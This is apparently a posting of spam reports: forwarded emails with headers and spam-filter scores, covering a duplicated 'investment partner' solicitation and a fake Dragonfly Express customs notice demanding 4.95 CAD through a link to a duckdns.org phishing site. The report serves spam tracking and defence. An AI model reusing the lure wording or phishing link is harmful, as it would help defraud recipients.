0.0 NO_RDNS2 Sending MTA has no reverse DNS

0.5 VOWEL_FROM_5 Impronouncable from header (6 consecutive vowels)

Subject: {SPAM?} Investment partnership



Greetings



How are you doing? Do you need an investment partner for any of your projec=

ts? I have many investors who are willing and able to invest in your projec=

t for partnership.



Send me your whatsaap for faster communications



Warm regards,

Ahmed Ahn Abudadi

investment consultant

Doha investors spam

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 27 Aug 2026 07:37:27 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzaI9-00000000Kh4-36IW

for dave@doctor.nl2k.ab.ca;

Thu, 27 Aug 2026 07:37:17 -0600

Resent-From: The Doctor

Resent-Date: Thu, 27 Aug 2026 07:37:17 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from bsgw-00000025.cafe24.com ([118.219.235.56]:47092)

by doctor.nl2k.ab.ca with esmtp (Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzXZS-00000000DOe-2Yw3

for sales@nk.ca;

Thu, 27 Aug 2026 04:43:08 -0600

Received: from [130.254.47.122] ([46.203.215.8])

(AUTH: LOGIN pppjm1234@moonmyung.co.kr)

by bsgw-00000025.cafe24.com with esmtp; Wed, 26 Aug 2026 00:30:53 +0900

id 000000000350ADEB.000000006A8DB52E.00001F81

Content-Type: text/plain; charset="iso-8859-1"

MIME-Version: 1.0

Content-Transfer-Encoding: quoted-printable

Content-Description: Mail message body

Subject: Investment partnership

To: sales@nk.ca

From: "doha consultant"

Date: Tue, 25 Aug 2026 08:30:53 -0700

Reply-To: info@doha-consultant.com

Received-SPF: softfail (Address does not pass the Sender Policy Framework)

SPF=FROM;

sender=pppjm1234@moonmyung.co.kr;

remoteip=46.203.215.8;

remotehost=;

helo=[130.254.47.122];

receiver=bsgw-00000025.cafe24.com;

Message-ID:

X-Spam_score: 9.2

X-Spam_score_int: 92

X-Spam_bar: +++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Greetings How are you doing? Do you need an investment partner

for any of your projects? I have many investors who are willing and able

to invest in your project for partnership. Send me your whatsaap for faster

communications



Content analysis details: (9.2 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[46.203.215.8 listed in will-spam-for-food.eu.org]

[46.203.215.8 listed in will-spam-for-food.eu.org]

[46.203.215.8 listed in will-spam-for-food.eu.org]

[46.203.215.8 listed in will-spam-for-food.eu.org]

[46.203.215.8 listed in will-spam-for-food.eu.org]

[46.203.215.8 listed in will-spam-for-food.eu.org]

[46.203.215.8 listed in will-spam-for-food.eu.org]

[46.203.215.8 listed in will-spam-for-food.eu.org]

[118.219.235.56 listed in will-spam-for-food.eu.org]

[118.219.235.56 listed in will-spam-for-food.eu.org]

[118.219.235.56 listed in will-spam-for-food.eu.org]

[118.219.235.56 listed in will-spam-for-food.eu.org]

[118.219.235.56 listed in will-spam-for-food.eu.org]

[118.219.235.56 listed in will-spam-for-food.eu.org]

[118.219.235.56 listed in will-spam-for-food.eu.org]

[118.219.235.56 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[118.219.235.56 listed in dnsbl.ahbl.org]

[118.219.235.56 listed in dnsbl.ahbl.org]

[118.219.235.56 listed in dnsbl.ahbl.org]

[118.219.235.56 listed in dnsbl.ahbl.org]

[46.203.215.8 listed in dnsbl.ahbl.org]

[46.203.215.8 listed in dnsbl.ahbl.org]

[46.203.215.8 listed in dnsbl.ahbl.org]

[46.203.215.8 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[118.219.235.56 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[118.219.235.56 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[118.219.235.56 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[118.219.235.56 listed in dnsbl.ahbl.org]

3.6 RCVD_IN_SBL_CSS RBL: Received via a relay in Spamhaus SBL-CSS

[46.203.215.8 listed in zen.spamhaus.org]

1.5 RCVD_IN_SBL_XBL RBL: Received via a relay in Spamhaus SBL+XBL

[46.203.215.8 listed in sbl-xbl.spamhaus.org]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[118.219.235.56 listed in bl.score.senderscore.com]

-0.0 SPF_PASS SPF: sender matches SPF record

-0.0 SPF_HELO_PASS SPF: HELO matches SPF record

1.0 HK_RANDOM_FROM From username looks random

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

0.6 HK_RANDOM_ENVFROM Envelope sender username looks random

0.5 DATE_IN_PAST_24_48 Date: is 24 to 48 hours before Received: date

0.0 NO_RDNS2 Sending MTA has no reverse DNS

0.5 VOWEL_FROM_5 Impronouncable from header (6 consecutive vowels)

Subject: {SPAM?} Investment partnership



Greetings



How are you doing? Do you need an investment partner for any of your projec=

ts? I have many investors who are willing and able to invest in your projec=

t for partnership.



Send me your whatsaap for faster communications



Warm regards,

Ahmed Ahn Abudadi

investment consultant

Doha investors spam

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 27 Aug 2026 07:37:27 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzaI9-00000000Kh4-36IW

for dave@doctor.nl2k.ab.ca;

Thu, 27 Aug 2026 07:37:17 -0600

Resent-From: The Doctor

Resent-Date: Thu, 27 Aug 2026 07:37:17 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from bsgw-00000025.cafe24.com ([118.219.235.56]:47092)

by doctor.nl2k.ab.ca with esmtp (Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzXZS-00000000DOe-2Yw3

for sales@nk.ca;

Thu, 27 Aug 2026 04:43:08 -0600

Received: from [130.254.47.122] ([46.203.215.8])

(AUTH: LOGIN pppjm1234@moonmyung.co.kr)

by bsgw-00000025.cafe24.com with esmtp; Wed, 26 Aug 2026 00:30:53 +0900

id 000000000350ADEB.000000006A8DB52E.00001F81

Content-Type: text/plain; charset="iso-8859-1"

MIME-Version: 1.0

Content-Transfer-Encoding: quoted-printable

Content-Description: Mail message body

Subject: Investment partnership

To: sales@nk.ca

From: "doha consultant"

Date: Tue, 25 Aug 2026 08:30:53 -0700

Reply-To: info@doha-consultant.com

Received-SPF: softfail (Address does not pass the Sender Policy Framework)

SPF=FROM;

sender=pppjm1234@moonmyung.co.kr;

remoteip=46.203.215.8;

remotehost=;

helo=[130.254.47.122];

receiver=bsgw-00000025.cafe24.com;

Message-ID:

X-Spam_score: 9.2

X-Spam_score_int: 92

X-Spam_bar: +++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Greetings How are you doing? Do you need an investment partner

for any of your projects? I have many investors who are willing and able

to invest in your project for partnership. Send me your whatsaap for faster

communications



Content analysis details: (9.2 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[46.203.215.8 listed in will-spam-for-food.eu.org]

[46.203.215.8 listed in will-spam-for-food.eu.org]

[46.203.215.8 listed in will-spam-for-food.eu.org]

[46.203.215.8 listed in will-spam-for-food.eu.org]

[46.203.215.8 listed in will-spam-for-food.eu.org]

[46.203.215.8 listed in will-spam-for-food.eu.org]

[46.203.215.8 listed in will-spam-for-food.eu.org]

[46.203.215.8 listed in will-spam-for-food.eu.org]

[118.219.235.56 listed in will-spam-for-food.eu.org]

[118.219.235.56 listed in will-spam-for-food.eu.org]

[118.219.235.56 listed in will-spam-for-food.eu.org]

[118.219.235.56 listed in will-spam-for-food.eu.org]

[118.219.235.56 listed in will-spam-for-food.eu.org]

[118.219.235.56 listed in will-spam-for-food.eu.org]

[118.219.235.56 listed in will-spam-for-food.eu.org]

[118.219.235.56 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[118.219.235.56 listed in dnsbl.ahbl.org]

[118.219.235.56 listed in dnsbl.ahbl.org]

[118.219.235.56 listed in dnsbl.ahbl.org]

[118.219.235.56 listed in dnsbl.ahbl.org]

[46.203.215.8 listed in dnsbl.ahbl.org]

[46.203.215.8 listed in dnsbl.ahbl.org]

[46.203.215.8 listed in dnsbl.ahbl.org]

[46.203.215.8 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[118.219.235.56 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[118.219.235.56 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[118.219.235.56 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[118.219.235.56 listed in dnsbl.ahbl.org]

3.6 RCVD_IN_SBL_CSS RBL: Received via a relay in Spamhaus SBL-CSS

[46.203.215.8 listed in zen.spamhaus.org]

1.5 RCVD_IN_SBL_XBL RBL: Received via a relay in Spamhaus SBL+XBL

[46.203.215.8 listed in sbl-xbl.spamhaus.org]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[118.219.235.56 listed in bl.score.senderscore.com]

-0.0 SPF_PASS SPF: sender matches SPF record

-0.0 SPF_HELO_PASS SPF: HELO matches SPF record

1.0 HK_RANDOM_FROM From username looks random

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

0.6 HK_RANDOM_ENVFROM Envelope sender username looks random

0.5 DATE_IN_PAST_24_48 Date: is 24 to 48 hours before Received: date

0.0 NO_RDNS2 Sending MTA has no reverse DNS

0.5 VOWEL_FROM_5 Impronouncable from header (6 consecutive vowels)

Subject: {SPAM?} Investment partnership



Greetings



How are you doing? Do you need an investment partner for any of your projec=

ts? I have many investors who are willing and able to invest in your projec=

t for partnership.



Send me your whatsaap for faster communications



Warm regards,

Ahmed Ahn Abudadi

investment consultant

Dragonfly phish

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 26 Aug 2026 14:23:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzK8u-00000000P7B-1GAX

for dave@doctor.nl2k.ab.ca;

Wed, 26 Aug 2026 14:22:40 -0600

Resent-From: The Doctor

Resent-Date: Wed, 26 Aug 2026 14:22:40 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from zmail.eplanetglobal.com ([66.219.96.109]:44370)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.100 (FreeBSD))

(envelope-from )

id 1wzIzM-00000000Ech-33HE

for sales@nk.ca;

Wed, 26 Aug 2026 13:09:02 -0600

Received: from localhost (localhost [127.0.0.1])

by zmail.eplanetglobal.com (Postfix) with ESMTP id 03C087C8727

for ; Wed, 26 Aug 2026 15:04:51 -0400 (EDT)

Received: from zmail.eplanetglobal.com ([127.0.0.1])

by localhost (zmail.eplanetglobal.com [127.0.0.1]) (amavis, port 10032)

with ESMTP id HAfgDFv2mAvg for ;

Wed, 26 Aug 2026 15:04:50 -0400 (EDT)

Received: from localhost (localhost [127.0.0.1])

by zmail.eplanetglobal.com (Postfix) with ESMTP id 74A5E7C8322

for ; Wed, 26 Aug 2026 15:04:50 -0400 (EDT)

DKIM-Filter: OpenDKIM Filter v2.10.3 zmail.eplanetglobal.com 74A5E7C8322

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=eplanetglobal.com;

s=5A63B480-AE9A-11EF-B85C-7A3477DD596D; t=1787771090;

bh=LfZj7rc3TmHGvNxFzFRUld6qJTeDDYsBdOHrEbuhyds=;

h=From:To:Message-ID:Date:MIME-Version;

b=pkaYG+AP2OT8duH/C0FC/U2Ru8j3Al8its2rj6cHqHLpYpBROYUiT5gkyxAckc/3V

OnzpIwAJIjSdKuNxJkxU3XbfVelXABzbOUNpss+bzTiErkJ44nEE53kjCyYFHN4b/X

wSDvbUitcMgxwVvTySKJ8uB2uCoNgsw2TLPUE9YOSpudipVAxaSp3Q0PYDSH111TSh

p4Cm6kUxVtsjHQXDMSjDOo7crzRU0BVIzN0IJXUwwqUg028fkgkzyXwBhz8OP6lUkw

dmIeD0BSQ9MO1bzF9hmGla4GzOGcXHRDcs0EJL/hYgYeJTLKhFjykOkLQn1VcZsaUs

qY12A4IotkV2w==

X-Virus-Scanned: amavis at zmail.eplanetglobal.com

Received: from zmail.eplanetglobal.com ([127.0.0.1])

by localhost (zmail.eplanetglobal.com [127.0.0.1]) (amavis, port 10026)

with ESMTP id GCc35JV94udb for ;

Wed, 26 Aug 2026 15:04:50 -0400 (EDT)

Received: from [127.0.0.1] (unknown [196.74.228.253])

by zmail.eplanetglobal.com (Postfix) with ESMTPSA id 205607564A1

for ; Wed, 26 Aug 2026 15:04:49 -0400 (EDT)

Content-Type: text/html

From: Dragonfly

To: sales@nk.ca

Subject: Dragonfly Delivery Notification

Message-ID: <7f5ec407-0bb0-f21a-8c32-8934f1f65af2@eplanetglobal.com>

Content-Transfer-Encoding: quoted-printable

Date: Wed, 26 Aug 2026 19:04:37 +0000

MIME-Version: 1.0

X-Spam_score: 7.5

X-Spam_score_int: 75

X-Spam_bar: +++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Dragonfly Express. Dear Customer,



Content analysis details: (7.5 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)

[66.219.96.109 listed in wl.mailspike.net]

1.6 RCVD_IN_BRBL_LASTEXT RBL: No description available.

[66.219.96.109 listed in bb.barracudacentral.org]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[196.74.228.253 listed in will-spam-for-food.eu.org]

[196.74.228.253 listed in will-spam-for-food.eu.org]

[196.74.228.253 listed in will-spam-for-food.eu.org]

[196.74.228.253 listed in will-spam-for-food.eu.org]

[196.74.228.253 listed in will-spam-for-food.eu.org]

[196.74.228.253 listed in will-spam-for-food.eu.org]

[196.74.228.253 listed in will-spam-for-food.eu.org]

[196.74.228.253 listed in will-spam-for-food.eu.org]

[66.219.96.109 listed in will-spam-for-food.eu.org]

[66.219.96.109 listed in will-spam-for-food.eu.org]

[66.219.96.109 listed in will-spam-for-food.eu.org]

[66.219.96.109 listed in will-spam-for-food.eu.org]

[66.219.96.109 listed in will-spam-for-food.eu.org]

[66.219.96.109 listed in will-spam-for-food.eu.org]

[66.219.96.109 listed in will-spam-for-food.eu.org]

[66.219.96.109 listed in will-spam-for-food.eu.org]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[196.74.228.253 listed in dnsbl.ahbl.org]

[196.74.228.253 listed in dnsbl.ahbl.org]

[196.74.228.253 listed in dnsbl.ahbl.org]

[196.74.228.253 listed in dnsbl.ahbl.org]

[66.219.96.109 listed in dnsbl.ahbl.org]

[66.219.96.109 listed in dnsbl.ahbl.org]

[66.219.96.109 listed in dnsbl.ahbl.org]

[66.219.96.109 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[196.74.228.253 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[196.74.228.253 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[196.74.228.253 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[196.74.228.253 listed in dnsbl.ahbl.org]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

0.1 URIBL_SBL_A Contains URL's A record listed in the SBL blocklist

[URI: dragonfly-express.duckdns.org/31.207.34.211]

0.1 URIBL_CSS_A Contains URL's A record listed in the Spamhaus CSS

blocklist

[URI: dragonfly-express.duckdns.org/31.207.34.211]

-0.0 SPF_PASS SPF: sender matches SPF record

-0.0 SPF_HELO_PASS SPF: HELO matches SPF record

0.5 NO_RDNS Sending MTA has no reverse DNS (Postfix variant)

-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay

domain

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[66.219.96.109 listed in bl.score.senderscore.com]

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

0.0 NO_RDNS2 Sending MTA has no reverse DNS

2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars

1.0 VOWEL_URI_5 URI hostname with 5 consecutive vowels

Subject: {SPAM?} Dragonfly Delivery Notification














hidden; MAX-WIDTH: 600px; BACKGROUND: #fff; MARGIN: 20px auto; =

border-radius: 10px; box-shadow: 0 4px 8px rgba(0,0,0,.10)">


align-items: center; justify-content: center">


30px; FONT-WEIGHT: bold; COLOR: #fff; FONT-STYLE: italic">Dragonfly Express=

.







PADDING-TOP: 24px; PADDING-LEFT: 20px; PADDING-RIGHT: 20px">


DISPLAY: inline-block; PADDING-RIGHT: 6px">Dear Customer,

 






1.6">

Goods imported into Canada may be subject to applicable duties =

and/or taxes. Carriers are authorized by the. to process occasional =

shipments on behalf of the importer or owner and may remit applicable =

duties and taxes.





However, a parcel belonging to you has been held =

by customs due to missing declaration details from the sender. Please pay: =

4.95 CAD





in duties and taxes as soon as =

possible using the button below: taxes, or other charges are actually owed.=








href=3D"https://dragonfly-express.duckdns.org/Dragonfly_Shipping/" =

style=3D"FONT-SIZE: 14px; TEXT-DECORATION: none; BACKGROUND: #04ab94; =

FONT-WEIGHT: bold; COLOR: #fff; PADDING-BOTTOM: 10px; PADDING-TOP: 10px; =

PADDING-LEFT: 20px; DISPLAY: inline-block; PADDING-RIGHT: 20px; =

border-radius: 5px">Track my package






COLOR: #000">Thank you for choosing Dragonfly Express.










COLOR: #717171; PADDING-BOTTOM: 20px; TEXT-ALIGN: center; PADDING-TOP: =

20px; PADDING-LEFT: 20px; MARGIN: 0px auto; PADDING-RIGHT: 20px; =

border-radius: 10px; box-shadow: 0 4px 8px rgba(0,0,0,.10)">

This email was sent by an automated system=

. Please do not reply official:





© 2026 =

Intelcom Express - Dragonfly Express. All rights reserved.